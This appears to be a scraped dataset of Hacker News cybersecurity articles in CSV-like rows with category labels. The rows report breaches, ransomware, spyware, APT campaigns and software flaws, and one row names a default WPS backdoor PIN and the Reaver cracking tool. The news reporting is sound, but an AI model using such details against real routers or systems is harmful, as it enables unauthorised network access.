To delve into the Specops Password Policy with Breached Password Protection, start a free trial anytime.

",Data_Breaches
When Time is of the Essence – Testing Controls Against the Latest Threats Faster,https://thehackernews.com/2019/06/breach-attack-simulation.html,"A new threat has hit head the headlines (Robinhood anyone?), and you need to know if you're protected right now. What do you do?

Traditionally, you would have to go with one of the options below.

Option 1 – Manually check that IoCs have been updated across your security controls.

This would require checking that security controls such as your email gateway, web gateway, and endpoint security have all been updated with the latest threats' indicators of compromise (IoCs) usually published by AV companies who detect the malware binaries first.

Option 2 – Create a 'carbon copy' of your network and run the threat's binary on that copy.

While safe, IT and security teams may be unaware of certain variations from the real deal. So while the attack simulation is running against an 'ideal' copy, your real network may have undergone inadvertent changes, such as a firewall running in monitoring mode, a patch not being installed on time, and other unintentional variations. The resulting mirror image has inadvertently become a 'filtered' one.

Option 3 – Build a homegrown simulation.

While effective, developing your own malware simulation is a time- and resource-intensive effort that usually requires a dedicated threats or vulnerability assessment team.

Moreover, even if you have the resources, the turnaround time for getting a live and safe simulation to work may not be ideal.

Option 4 – Run an automated simulation of the threat in your production environment.

What if you could challenge your controls with a threat on the day that it hits the headlines? This is where automated security effectiveness testing can help.

By running simulations of the latest cyber attacks against the controls required to detect them correctly, you can make sure your current security arsenal is catching risky IoCs, and close any gaps faster.

Testing Security Control Effectiveness Faster

Using a dedicated golden image of a standard workstation (or server), attack simulations can be run continually on a designated system in a production network. This way, a real user's data is not jeopardized, while enabling you to check the latest threat's ability to bypass your security controls.

By running ongoing or daily simulations of the newest menaces across your network, you can determine if your controls are catching IoCs such as command & control (C2) URLs and malicious file hashes.
Immediate Threats Available for Simulation After Their Discovery [click the image to view full size]

Real vs. Simulated Cyber Attacks – What's the Difference?

So what is the difference between a real attack and a simulated one? First and foremost, simulations usually run on a dedicated system to avoid compromising a real user's system.

For C2 communications, a simulation will attempt to establish a connection over HTTP/S, with an agent installed on the endpoint serving as a proxy to block any malicious requests sent and dropping the connection at the end of the test.

When testing endpoint security controls, rather than executing a real payload, one simulation technique involves dropping a malware sample to see if security controls can detect and remove it.

To test the effectiveness of an email gateway, a simulated attack will send emails with weaponized attachments that contain different malicious behaviors but are harmless to the target system. An agent sitting on top of the email client handles incoming emails and deletes them immediately thereafter.

Immediate Insights Against Immediate Threats

What kind of insights can simulations uncover? Challenging email security controls can reveal whether your email gateway is blocking multi-layer nested files, whether a policy is set up to filter out spoofed email addresses or rarely-used file formats, or whether archive files (e.g., ZIP) are scanned to prevent executables from landing in a user's mailbox.

To prevent drive-by-downloads, it may alert that your web gateway is not blocking downloads associated with the newest threat's URLs. And vis-à-vis endpoint security, you may learn that your current solution is failing to block or detect dropped payloads on disk.
Immediate Threats Simulation Results – Blocked or Penetrated [click the image to view full size]

Ready to test the effectiveness of your security controls against the very latest threats?

Get started here, or learn more about SaaS-based breach and attack simulation.

",Data_Breaches
Data Breach Exposes 1.6 Million Jobless Claims Filed in the Washington State,https://thehackernews.com/2021/02/data-breach-exposes-16-million-jobless.html,"The Office of the Washington State Auditor (SAO) on Monday said it's investigating a security incident that resulted in the compromise of personal information of more than 1.6 million people who filed for unemployment claims in the state in 2020.
The SAO blamed the breach on a software vulnerability in Accellion's File Transfer Appliance (FTA) service, which allows organizations to share sensitive documents with users outside their organization securely.
""During the week of January 25, 2021, Accellion confirmed that an unauthorized person gained access to SAO files by exploiting a vulnerability in Accellion's file transfer service,"" the SAO said in a statement.
The accessed information is said to have contained personal details of Washington state residents who filed unemployment insurance claims in 2020, as well as other data from local governments and state agencies.
The exact information that may have been compromised include:
Full name
Social security number
Driver's license
State identification number
Bank account number and bank routing number, and
Place of employment
The unauthorized access incident is believed to have occurred in late December of last year, although it appears the full scope of the intrusion wasn't made aware until Accellion disclosed earlier this month that its file transfer application was the ""target of a sophisticated cyberattack.""
The Palo Alto-based cloud solutions company said on January 11 that it was made aware of a vulnerability in its legacy FTA software in mid-December, following which it claimed it addressed the issue and released a patch ""within 72 hours"" to the less than 50 customers affected.
Accellion also said it's contracting with an ""industry-leading cybersecurity forensics firm"" to investigate the incident.
Given that the compromised information can be abused to carry out identity theft or fraud, the SAO said it's in the process of arranging measures to protect the identities of those whose information may have been contained within SAO's files.
In the meanwhile, the agency recommends reviewing account statements and credit reports, notifying financial institutions of any suspicious activity, and reporting any suspected incidents of identity theft to law enforcement.
It's worth noting that Accellion's FTA software was used as an attack vector to strike two other organizations, including the Australian Securities and Investments Commission (ASIC) and the Reserve Bank of New Zealand (RBNZ), in recent weeks.

",Vulnerability
Colonial Pipeline Paid Nearly $5 Million in Ransom to Cybercriminals,https://thehackernews.com/2021/05/colonial-pipeline-paid-nearly-5-million.html,"Colonial Pipeline on Thursday restored operations to its entire pipeline system nearly a week following a ransomware infection targeting its IT systems, forcing it to reportedly shell out nearly $5 million to regain control of its computer networks.
""Following this restart, it will take several days for the product delivery supply chain to return to normal,"" the company said in a statement on Thursday evening. ""Some markets served by Colonial Pipeline may experience, or continue to experience, intermittent service interruptions during this start-up period. Colonial will move as much gasoline, diesel, and jet fuel as is safely possible and will continue to do so until markets return to normal.""
The company's official website, however, has been taken offline as of writing with an access denied message ""This request was blocked by the security rules.""
Bloomberg, citing ""two people familiar with the transaction,"" said the company made the payoff within hours after the DarkSide ransomware attack to get hold of a decryptor, which turned out to be so slow that Colonial instead used its own backups to recover systems rendered inoperational by the ransomware. Insurance Insider reported earlier this week the pipeline operator had about $15 million in cyber insurance cover.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) doesn't condone paying a ransom to criminal actors, as doing so may embolden adversaries to target more organizations and encourage other cybercriminals to engage in the distribution of ransomware. But affected entities have often opted to heed to the attackers demands, as it's the quickest way to resume normal function and prevent the risk of data exposure.
A 2019 ProPublica investigation revealed how insurance companies are fuelling the rise of ransomware threats by covering the cost minus a deductible, which is typically far less than the ransom demanded by attackers.
""Threat actors have become more proficient at conducting multifaceted extortion operations and that this success has directly contributed to the rapid increase in the number of high-impact ransomware incidents over the past few years,"" said cybersecurity firm FireEye, whose Mandiant subsidiary is leading the incident response efforts. ""Ransomware operators have incorporated additional extortion tactics designed to increase the likelihood that victims will acquiesce to paying the ransom prices.""
The company's threat intelligence team is tracking five activity clusters associated with the deployment of DarkSide — including UNC2628, UNC2659, and UNC2465 — some of which have been active at least since April 2019.
DarkSide, advertised by a Russian-speaking actor named ""darksupp"" on Russian-language forums exploit.in and xss.is, operates as a ransomware-as-a-service (RaaS) outfit, with its creators taking a 25% cut for ransom payments under $500,000, a fee that decreases to 10% for payments greater than $5 million, per FireEye.
In the wake of the Colonial Pipeline attack, the operators of the DarkSide ransomware issued a statement on their dark web extortion site, pledging it intends to vet the companies its affiliates are targeting going forward to ""avoid social consequences in the future."" What's more, xss.is today announced a unilateral ban on ransomware promotions on the darknet cybercrime forum, likely in a bid to avoid unwanted attention.
""Ransomware became political,"" xss.is's admin said in a post revealed by Advanced Intel's Yelisey Boguslavskiy. ""Peskov (Putin's press secretary) is forced to make excuses to our overseas 'friends' ... It is now equated with unpleasant things - geopolitics, extortion, government hacking. This word has become dangerous and toxic.""
""RaaS partnerships lead to the establishment of a massive organic economy centered around top-Russian forums,"" Boguslavskiy noted. ""Now, this economy may be entirely disrupted.""
The recent wave of cyber assaults aimed at SolarWinds, Microsoft Exchange, and Colonial Pipeline has also prompted the U.S. government to take steps to shore up defenses by ""protecting federal networks, improving information-sharing between the U.S. government and the private sector on cyber issues, and strengthening the United States' ability to respond to incidents when they occur.""

",Malware
Passwordstate Warns of Ongoing Phishing Attacks Following Data Breach,https://thehackernews.com/2021/04/passwordstate-warns-of-ongoing-phishing.html,"Click Studios, the Australian software firm which confirmed a supply chain attack affecting its Passwordstate password management application, has warned customers of an ongoing phishing attack by an unknown threat actor.
""We have been advised a bad actor has commenced a phishing attack with a small number of customers having received emails requesting urgent action,"" the company said in an updated advisory released on Wednesday. ""These emails are not sent by Click Studios.""
Last week, Click Studios said attackers had employed sophisticated techniques to compromise Passwordstate's update mechanism, using it to drop malware on user computers. Only customers who performed In-Place Upgrades between April 20, 8:33 PM UTC, and April 22, 0:30 AM UTC are said to be affected.
While Passwordstate serves about 29,000 customers, the Adelaide-based firm maintained that the total number of impacted customers is very low. It's also urging users to refrain from posting correspondence from the company on social media, stating the actor behind the breach is actively monitoring such platforms for information pertaining to the attack in order to exploit it to their advantage for carrying out related intrusions.
The original attack was carried out via a trojanized Passwordstate update file containing a modified DLL (""moserware.secretsplitter.dll"") that, in turn, extracted retrieved a second-stage payload from a remote server so as to extract sensitive information from compromised systems. As a countermeasure, Click Studios released a hotfix package named ""Moserware.zip'' to help customers remove the tampered DLL and advised affected users to reset all passwords stored in the password manager.
The newly spotted phishing attack involves crafting seemingly legitimate email messages that ""replicate Click Studios email content"" — based on the emails that were shared by customers on social media — to push a new variant of the malware.
""The phishing attack is requesting customers to download a modified hotfix Moserware.zip file, from a CDN Network not controlled by Click Studios, that now appears to have been taken down,"" the company said. ""Initial analysis indicates this has a newly modified version of the malformed Moserware.SecretSplitter.dll, that on loading then attempts to use an alternate site to obtain the payload file.""
The Passwordstate hack is the latest high-profile supply-chain attack to come to light in recent months, highlighting how sophisticated threat groups are targeting software built by third parties as a stepping-stone to break into sensitive government and corporate computer networks.

",Data_Breaches
"South Korea hit by Android Trojan, Malware in Gaming apps and DDoS attack",https://thehackernews.com/2013/10/south-korea-hit-by-android-trojan.html,"Last Tuesday, The National Police Agency of South Korea warned the people that many Malware infected video games being offered in the South Korean markets with the purpose of launching Cyber attacks on the Country.

That Malware is collecting location data and IP addresses of infected users and according to experts, malware is sending data back to its master servers based in North Korea.
Just today the Korea's largest anti-virus software firm AhnLab confirmed that they have detected distributed denial-of-service (DDoS) attacks on local companies' websites.

According to the report, about 16 websites of 13 companies, including Daum, MSN and the JoongAng Ilbo newspaper had been affected.

AhnLab said that some 10-thousand computers have been hit, mainly because they failed to install a vaccination program or update an existing one since the last cyber attack in July.

The attack was detected around 4:00 p.m. on Thursday, infecting around 10,000 computers until Friday.

It is possible that same infected systems were used to launch DDoS attacks today. Police advise the public to do not download gaming programs from unverified sources and to keep their Antivirus up to date.

Yesterday, we reported about another malicious campaign against South Korean Android users, where a Banking Trojan is specifically targeting South Korean banking applications for stealing user credentials.

In March, North Korea was suspected as responsible for for a malware attack that simultaneously wiped data from tens of thousands of South Korean computers.

",Malware
Someone Hijacks Botnet Network & Replaces Malware with an Antivirus,https://thehackernews.com/2016/02/botnet-antivirus.html,"The Dridex banking trojan that is widely being used by cyber criminals to distribute malware onto users' machines has now been found distributing a security software.

A portion of the Dridex banking Trojan botnet may have been hacked or compromised by an unknown Whitehat Hacker, who replaced the malicious links with Avira Antivirus installers.

What is Dridex Banking Trojan? How it Works?

Dridex malware – also known as Bugat and Cridex – is believed to have been created by cyber criminals in Eastern Europe in an effort to harvest online banking details. Even after a high-profile takedown operation in late 2015, the Dridex botnet seems to be active again.

The Dridex virus typically distributes itself through spam messages or emails that include malicious attachments, most often a Microsoft Office file or Word document integrated with malicious macros.

Once the malicious file has been clicked, the macros download and install the main payload of the virus – the trojan program itself – from a hijacked server, which installs and runs on the victim's computer.

The Dridex trojan program then creates a keylogger on the infected machine and manipulates banking websites with the help of transparent redirects and web-injects.

This results in stealing victim's personal data like usernames and passwords, with an ultimate aim to break into bank accounts and siphon off cash.

Hacker replaces Trojan with Anti-virus

However, the recent Hack Surprises: Instead of distributing banking trojan, a portion of the Dridex botnet currently seems to be spreading legitimate copies of the free anti-virus software from Avira, as the company has announced itself.

""The content behind the malware download [link] has been replaced, it is now providing [a legitimate], up-to-date Avira web installer instead of the usual Dridex loader,"" explained Avira malware expert Moritz Kroll, reported Reg.
Avira believes that the white hat hacker or hackers may have hacked into a portion of infected web servers using the same flaws the malware authors used and then replaced the malicious code with the Avira installer.

So, once infected, instead of receiving Dridex malware, the victims get a valid, signed copy of Avira antivirus software.

""We still don't know exactly who is doing this with our installer and why – but we have some theories,"" said Kroll. ""This is certainly not something we are doing ourselves.""

Although the motives behind including the Avira software is still unclear, these kinds of actions are considered to be illegal in many countries, said Kroll.

What can be done to protect From Malware Attacks?

The guidance for preventing yourself from being a part of the Dridex Banking Trojan botnet is:
Ensure you have an updated antivirus program running on your PC, which should be able to intercept the malicious attachments before they are opened.
One of the best measures for securing your online environment is to deploy an Intrusion Detection System (IDS) at the network layer, which is especially useful to quickly detect malware and other threats in your network when integrated with a real-time threat intelligence and SIEM (Security Intelligence and Event Monitoring) solution, such as AlienVault Unified Security Management (USM).
Be careful of opening email attachments sent from an unknown email address, particularly (in this case) Microsoft Word and Excel files.
Disable Macros in MS Office, or at least set the Macros to request permission before they run.

",Malware
New Mac OS Malware exploited two known Java vulnerabilities,https://thehackernews.com/2013/09/new-mac-os-malware-exploited-two-known.html,"A new Mac OS Malware has been discovered called OSX/Leverage.A, which appears to be yet another targeted command-and-control Trojan horse, that creates a backdoor on an affected user's machine.

The Trojan named 'Leverage' because the Trojan horse is distributed as an application disguised as a picture of two people kissing, possibly a scene from the television show ""Leverage"".

The attack launched via a Java applet from a compromised website and which drops a Java archive with the backdoor to the visitor's computer and launches it without a user intercation.

To perform the attack, Malware uses two recently disclosed Java vulnerabilies known as CVE-2013-2465 and CVE-2013-2471. Once it's installed, the Trojan connects to the C&C server on port 7777.
Security vendor Intego said that Malware linked to Syrian Electronic Army (SEA), because after installation Malware attempt to download an image associated with the Syrian Electronic Army, but the hacker group denies accusations it engaged in the manufacture of such malware.

Moreover, according to security researcher, malware is similar to what is used in a phishing attack by the Syrian hackers against The New York Times, Outbrain, and The Washington Post.

While this new malware is out there, but the threat level appears to be low and has affected a few people. Apple has now updated XProtect to detect Leverage and prevent it from launching.

",Vulnerability
Over 51 Million Accounts Leaked from iMesh File Sharing Service,https://thehackernews.com/2016/06/imesh-data-breach.html,"How many more data dumps does this hacker have with him that has yet to be exposed?

Well, no one knows the answer, but we were recently made aware of another data breach from Peace – the same Russian hacker who was behind the massive breaches in some of the most popular social media sites including LinkedIn, MySpace, Tumblr, and VK.com.

The hacker under the nickname ""Peace"" (or Peace_of_mind) is now selling over 51 Million records obtained from iMesh – now defunct peer-to-peer file sharing service.

The New York-based iMesh was one of the first and most popular file sharing services that allowed users to share multimedia files with their friends via the peer-to-peer (or P2P) protocol.

Launched in the late 90s, iMesh became the third-largest service in the United States in 2009, but the service was unexpectedly closed down last month.

LeakedSource, a search engine site that indexes leaked login credentials from data breaches, noted in a blog post that the company has obtained the database containing more than 51 Million accounts from iMesh.

The same database has also been made available for sale on The Real Deal Dark Web marketplace by the same hacker that also put up for sale data from LinkedIn, Tumblr, MySpace and Twitter.

The LeakedSource's analysis shows the database contains user information, including email addresses, usernames, passwords, IP addresses, location information and other information on users.

Though iMesh stored all passwords in hashed and salted format, the passwords were salted with the MD5 algorithm that is easy to break nowadays.

Based on the most recent records in the leaked database, the data breach search engine estimates the hacker breached iMesh on September 22, 2013.

The database contains 13.7 Million users from the US, around 4 Million from Turkey, over 3.5 Million from the UK, and remaining from other parts of the world. Most iMesh's users signed up with Hotmail (14.3 Million) and Yahoo (10.5 million) emails, and almost 1 Million users used 123456 as their password.

All the data is now up for sale on the dark web for just 0.5 Bitcoin (nearly US$335), so it's high time you changed your passwords for all social media sites immediately, especially if you use the same password for different websites.

",Data_Breaches
"'AdThief' Chinese Malware Infects Over 75,000 Jailbroken iOS devices",https://thehackernews.com/2014/08/adthief-chinese-malware-infects-over.html,"If you have jailbroken your iPhone, iPad, or iPod touch and have downloaded pirated tweaks from pirated repositories, then you may be infected by ""AdThief"" malware, a Chinese malware that is now installed on more than 75,000 iPhone devices.

According to a recent research paper published on Virus Bulletin by the Security Researcher Axelle Apvrille, the malware, also known as ""spad,"" was first discovered by security researcher Claud Xiao in March this year.

Till now, AdThief aka Spad malware has hijacked an estimated 22 million advertisements and stealing revenue from developers on the iOS jailbreak community, Axelle Apvrille says.

The malware allegedly infects iOS jailbroken devices by disguising itself as Cydia Substrate extension, presents only on jailbroken Apple devices, when a malware infected Cydia package is downloaded and installed by the unsuspecting user.

Once installed, the malware modifies certain advertisements displayed on your iOS devices in an effort to redirect all the revenues to malware developer. In short, if you download or install a free ad-supported iOS app from the App Store, all of the cash generated by that app goes to the cyber criminal behind AdThief rather than the app's developer.
""In other words, each time you view or click an ad on an infected device, the corresponding revenue goes to the attacker, and not to the developer or the legitimate affiliate,"" Apvrille said. ""[AdThief] hooks various advertisement functions and modifies the developer ID (promotion ID) to match that of the attacker.""
Adthief has targeted advertisements from 15 popular mobile advertising networks, including Google's AdMob and Mobile Ads, AdWhirl, MdotM, and MobClick, four of which were based in the US, two in India and the remainder in China.

The security researcher was able to identify the targets because the hacker mistakenly forgot to remove identifying information from the code. Further investigation allowed Apvrille to identify the coder who ran a blog providing details of various Android hacks, a Github and inactive Twitter account. Researcher located a Chinese vxer Rover 12421 who admitted writing the AdThief code but denied propagating it.

According to the researcher, the number of infected devices by the malware is small if compared to the figure of iOS devices in use, attackers likely generated significant revenue with an estimated 22 million advertisements hijacked.

The most important thing about this particular hack is that there is no way to find out if your device is infected by AdThief malware, because it runs in the background and is almost impossible to detect. Users of unmodified iOS devices need not to worry as they are safe from this malware infection.

Users of jailbroken Apple iOS devices are recommended to avoid downloads from untrusted repositories. Always be careful about adding new sources, and also be suspicious of those sources that promise pirated downloads of paid apps or tweaks.

",Malware
Importance of Logs and Log Management for IT Security,https://thehackernews.com/2013/10/importance-of-logs-and-log-management.html,"IT Security is the name of the game and no matter how big or small the size of your organization, you will always invest enough on securing certain aspects of your IT network. In many organizations, it starts with monitoring your network for vulnerabilities that may enter the network to access potentially sensitive information in the form of security attacks.

For example, you may have firewalls as your first line of defense, followed by vulnerability management, intrusion detection and prevention systems, managing your network configurations and so on.
These are crucial because:
Your routers can be easily breached without proper configuration and restrictions.
If a firewall isn't configured correctly, a hacker can easily spot a port that is accidentally left open and can gain access to the network.
Rogue access points, botnet malware and social engineering can make your wireless a porthole into your LAN.
Why Logs?
The very purpose of IT security is to be proactive and the above measures make it more difficult for someone who attempts to compromise the network. This might just not be enough and you need to able to detect the actual breaches as they are being attempted. This is where log data really help.

To expose an attack or identify the damage caused, you need to analyze the log events on your network in real-time. By collecting and analyzing logs, you can understand what transpires within your network. Each log file contains many pieces of information that can be invaluable, especially if you know how to read them and analyze them. With proper analysis of this actionable data you can identify intrusion attempts, mis-configured equipment, and many more. Also for managing compliance, especially for PCI DSS – you need to retain logs and review them.

Monitoring and Analyzing Event Logs
When you know what is normal on your network, you can easily spot what is abnormal by monitoring the logon activity. It is very critical to analyze the event to understand the root cause and to make log analysis & log management more efficient, you need to collect and consolidate log data across the IT environment, and correlate events from multiple devices in real-time.
Apart from monitoring the activities across your web server, firewalls and other network devices, it becomes very crucial to monitor your workstation logs. For example, a workstation log can give you some key information like when a USB was connected, by whom and whether he belongs to the group that is authorized, etc. Log file analysis is best done with an SIEM software, when it comes to reading all of the events and being able to analyze and correlate activity across the various components of IT.

How SolarWinds Log & Event Manager can help you?
SolarWinds Log & Event Manager (LEM) completely monitor event logs across and acts as a central collection point for system log data, automatically aggregates and normalizes this data into a consistent format. LEM also performs multiple event correlation and has the distinct ability to set independent activity thresholds per event or per group to understand relationships between dramatically different activities. With its proactive approach, it helps you identify and respond to threats in real time.

Key areas where SolarWinds LEM helps you:
Monitoring Security Events: Event correlation allows you to effectively troubleshoot issues by understanding the relationship between various activities using multiple event correlations and alerts you as and when it encounters a security threat.
Threat Remediation: Active responses help you in responding timely to policy violations and troubleshooting issues. Some key active responses include:
Delete User Account and User Group
Block IP address
Log Off User
Restart/Shutdown Machine
Disable USB devices
Event forensics help you identify suspicious behavior patterns on your network.

",Vulnerability
Microsoft Sues US Govt Over Unconstitutional Secret Data Requests,https://thehackernews.com/2016/04/microsoft-gag-orders.html,"Microsoft is suing the Department of Justice (DoJ) to protest the gag order that prevents technology companies from telling their customers when their cloud data is handed over to authorities.

In layman's terms, the Electronic Communications Privacy Act (ECPA) allows the government to issue gag orders saying that the people or companies involved in a legal case cannot talk about the case or anything related to it in public.

So, the government is continuously forcing tech companies to hand over their customers' emails or personal records stored in the cloud servers without their clients' knowledge.

Microsoft has filed a lawsuit [PDF] against the DoJ, arguing that it is ""unconstitutional"" and violates constitutional protection of free speech to force the tech companies for not informing their customers when their stored data has been shared with authorities.
""We believe these actions violate two of the fundamental rights that have been part of this country since its founding. These lengthy and even permanent secrecy orders violate the Fourth Amendment, which gives people and businesses the right to know if the government searches or seizes their property."" Brad Smith, Chief counsel at Microsoft, said in a blog post.
""They also violate the First Amendment, which guarantees our right to talk to customers about how government action is affecting their data.""
According to Microsoft, the company has received nearly 2,600 gag orders in the past 18 months. Though the issue is not with the concept of government searches, but with the indefinite period of those orders.

Actually, the gag orders come with a definite time after which the company can reveal their customers if any police or FBI agent has checked or inspected their emails or files stored in the cloud.

But Microsoft said about 70 percent of all gag orders received by the company had no fixed end date, which means the company can never tell its users, even after the completion of the investigation.
""While today's lawsuit is important, we believe there's an opportunity for the Department of Justice to adopt a new policy that sets reasonable limitations on the use of these types of secrecy orders,"" Brad said.
The gag orders are meant to protect nation investigations, but the US government is misusing it to carry out unconstitutional secret data searches without ever telling people.

Just like Apple, it is important for Microsoft to fight and win this battle for protecting users' privacy, as well as their reputation.

",Data_Breaches
More than 100000 Wireless Routers have Default Backdoor,https://thehackernews.com/2012/04/more-than-100000-wireless-routers-have.html,"A recently reported flaw that allowed an attacker to drastically reduce the number of attempts needed to guess the WPS PIN of a wireless router isn't necessary for some Arcadyan based routers anymore.

Last year it was exposed that the WiFi Protected Setup (WPS) PIN is susceptible to a brute force attack. A design flaw that exists in the WPS specification for the PIN authentication significantly reduces the time required to brute force the entire PIN because it allows an attacker to know when the first half of the 8 digit PIN is correct.

The lack of a proper lock out policy after a certain number of failed attempts to guess the PIN on many wireless routers makes this brute force attack that much more feasible.

Some 100,000 routers of type Speedport W921V, W504V and W723V are affected in Germany alone. What makes things worse is the fact that in order to exploit the backdoor, no button has to be pushed on the device itself and on some of the affected routers, the backdoor PIN (""12345670"") is still working even after WPS has been disabled by the user. The only currently known remedy for those models is to disable Wi-Fi altogether. Since all Arcadyan routers share the same software platform, more models might be affected.

Last year, Tactical Network Solutions develop and released Reaver , which is a WPA attack tool that exploits a protocol design flaw in WiFi Protected Setup (WPS). Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP.

",Vulnerability
Hacking Team sold Spyware to 21 Countries; Targeting Journalists and Human Right Activists,https://thehackernews.com/2014/02/hacking-team-sold-spyware-to-21.html,"Spying on the world by injecting sophisticated backdoors in software, systems, and mobile phones, leads to violation of the Privacy and Security of every individual. Yes, we are talking about Surveillance, but this time not about NSA.

Instead, Countries including some with poor human-rights records and a much less technically advanced nation are the likely culprits, as they apparently used commercial spyware in making surveillance capabilities that once were the exclusive expertise of the known spy agencies, such as National Security Agency (NSA) and GCHQ.

Citizen lab, a nonprofit research lab has found traces of a remote hacking tool in 21 countries, developed by Hacking Team, including Ethiopia, Sudan, Azerbaijan and Saudi Arabia, which the team had already denied back in 2013.

Hacking Team, also known as HT S.r.l, is an Italian company, which is known for its powerful surveillance software, Remote Code System (RCS) that it sells to Governments and law enforcement agencies.

Senior Counsel of Hacking Team, Eric Rabe stated that the company does not provide its products to 'repressive regimes.'
""On the issue of repressive regimes, Hacking Team goes to great lengths to assure that our software is not sold to governments that are blacklisted by the EU, the US, NATO, and similar international organizations or any ""repressive regime.""
Remote Control System (RCS) is a malware, can be defined as 'instrument of crime', infects computers and Smartphones in order to enable covert surveillance. The company claims that its Trojan once installed in the victims' computer, can intercept encrypted communication, including emails and Skype voice calls. Furthermore, RCS can turn on a device's webcam and microphone to spy on the user without their knowledge.

The Team prominently advertises that their RCS spyware is ""untraceable"" to a specific government operator and can be installed remotely. They say that it can scale up to monitor ""hundreds of thousands of targets"" and is capable of being deployed to Apple, Android, Symbian, and Blackberry mobile devices.
""Hacking Team has made a number of statements that seem intended to reassure the public, as well as potential regulators, that they conduct effective due diligence and self-regulation regarding their clients, and the human rights impact of their products,"" the Citizen Lab researchers report on Monday. ""They also market their RCS product as untraceable. Our research suggests that both of these claims ring hollow.""

The researchers at Citizen Lab have found traces of Remote Control System (RCS) by mapping the spyware's network of proxy servers, which the Hacking Team claims that RCS is ""untraceable.""
""Our research reveals that the RCS collection infrastructure uses a proxy-chaining technique, roughly analogous to that used by general-purpose anonymity solutions like Tor, in that multiple hops are used to anonymize the destination of information,"" reads the report. ""Despite this technique, we are still able to map out many of these chains and their endpoints using a specialized analysis."" Citizen Lab researchers explained.

On the basis of tracing endpoints of Hacking Team proxy chains, the researchers suspected that the agencies of 21 Governments are current or former Clients of RCS, and the country names are Azerbaijan, Colombia, Egypt, Ethiopia, Hungary, Kazakhstan, Korea, Malaysia, Mexico, Morocco, Nigeria, Oman, Panama, Poland, Saudi Arabia, Sudan, Thailand, Turkey, UAE, Uzbekistan, including Italy which is the homeland of the Hacking Team.

The Governments are targeting for political advantage, including the US-based news Organization, rather than using it for legitimate law enforcement operations.

According to researchers at Citizen Lab, The No.1 suspect is Ethiopian Government, that used the hacking tool created by Hacking Team to carry out the spying operation against the Ethiopian journalists in the United States and Europe.


Hacking Team to Citizen Lab:
""We have established an outside panel of technical experts and legal advisors, unique in our industry that reviews potential sales. This panel reports directly to the board of directors regarding proposed sales.""
However The FBI, which investigates Computer crimes, declined to comment on the Citizen Lab report, but an activist at the Electronic Frontier Foundation (EFF) and an expert in surveillance technology, Eva Galperin said that:
""If the Ethiopian government is not a Hacking Team customer, then I would sure like to know how their tools wound up being used to spy on Ethiopian journalists.""

",Malware
Iranian APT Group Targets Governments in Kuwait and Saudi Arabia,https://thehackernews.com/2020/05/iran-hackers-kuwait.html,"Today, cybersecurity researchers shed light on an Iranian cyber espionage campaign directed against critical infrastructures in Kuwait and Saudi Arabia.

Bitdefender said the intelligence-gathering operations were conducted by Chafer APT (also known as APT39 or Remix Kitten), a threat actor known for its attacks on telecommunication and travel industries in the Middle East to collect personal information that serves the country's geopolitical interests.

""Victims of the analyzed campaigns fit into the pattern preferred by this actor, such as air transport and government sectors in the Middle East,"" the researchers said in a report (PDF) shared with The Hacker News, adding at least one of the attacks went undiscovered for more than a year and a half since 2018.

""The campaigns were based on several tools, including 'living off the land' tools, which makes attribution difficult, as well as different hacking tools and a custom-built backdoor.""

Known to be active since 2014, the Chafer APT has previously taken aim at Turkish government organizations and foreign diplomatic entities based in Iran with the goal of exfiltrating sensitive data.

A FireEye report last year added to growing evidence of Chafer's focus on telecommunications and travel industries. ""Telecommunications firms are attractive targets given that they store large amounts of personal and customer information, provide access to critical infrastructure used for communications, and enable access to a wide range of potential targets across multiple verticals,"" the company said.

APT39 compromises its targets via spear-phishing emails with malicious attachments and using a variety of backdoor tools to gain a foothold, elevate their privileges, conduct internal reconnaissance, and establish persistence in the victim environment.

What makes the Kuwait attack more elaborate, according to Bitdefender, is their ability to create a user account on the victims' machine and perform malicious actions inside the network, including network scanning (CrackMapExec), credential harvesting (Mimikatz), and move laterally inside the networks using a wide arsenal of tools at their disposal.

Most activity occurs on Friday and Saturday, coinciding with the weekend in the Middle East, the researchers said.

The attack against a Saudi Arabian entity, on the other hand, involved the use of social engineering to trick the victim into running a remote administration tool (RAT), with some of its components sharing similarities with those used against Kuwait and Turkey.

""While this attack was not as extensive as the one in Kuwait, some forensic evidence suggests that the same attackers might have orchestrated it,"" the researchers said. ""Despite the evidence for network discovery, we were not able to find any traces for lateral movement, most probably because threat actors were not able to find any vulnerable machines.""

The attacks against Kuwait and Saudi Arabia are a reminder that Iran's cyber espionage efforts have shown no sign of slowing down. Given the crucial nature of the industries involved, Chafer's actions continue the trend of striking countries that act against its national ambitions.

""While these two are the most recent attack examples happening in the Middle East, it is important to understand that this type of attack can happen anywhere in the world, and critical infrastructures like government and air transportation remain very sensitive targets,"" Bitdefender said.

",Cyber_Attack
Critical buffer overflow vulnerability in Photoshop CS6,https://thehackernews.com/2012/09/critical-buffer-overflow-vulnerability.html,"Adobe has released an update for Photoshop CS6 that closes a critical heap-based buffer overflow vulnerability (CVE-2012-4170) in its popular graphics editing program. Both the Mac and Windows versions of Photoshop CS6 (aka Photoshop 13.0) contain a critical vulnerability that could allow an attacker to take control of affected systems.


Furthermore, company officials say Adobe is unaware of any attacks against this vulnerability.That said, the Photoshop 13.0.1 update contains 75 other bug fixes, including 31 for problems known to cause crashes, 18 pertaining to 3D features, and 15 for drawing and graphics features.
Adobe said that users and administrators can download and install the patch by lunching the ""update"" tool within the Photoshop help menu.The company credited a pair of Secunia researchers in discovering and reporting the flaw directly.

According to a Secunia advisory, the problem is caused by a boundary error in the ""Standard MultiPlugin.8BF"" module when processing certain PNG image files. Both Windows and Mac OS X versions of Photoshop CS6 (13.0) are affected and upgrading to the new 13.0.1 release fixes the problem.

",Vulnerability
Japanese word processor 'Ichitaro' zero-day attack discovered in the wild,https://thehackernews.com/2013/11/Japanese-Ichitaro-zero-day-vulnerability-CVE-2013-5990.html,"Japanese most popular word processing software 'Ichitaro' and Multiple Products are vulnerable to a zero day Remote Code Execution Flaw Vulnerability, allowing the execution of arbitrary code to compromise a user's system.

According to assigned CVE-2013-5990, malicious attacker is able to gain system access and execute arbitrary code with the privileges of a local user.
The vulnerability is caused due to an unspecified error when handling certain document files. ""We confirm the existence of vulnerabilities in some of our products."" company blog says.

In a blog post, Antivirus Firm Symantec confirmed that in September 2013, they have discovered attacks in the wild attempting to exploit this vulnerability during, detected as Trojan.Mdropper, which is a variant of Backdoor.Vidgrab.

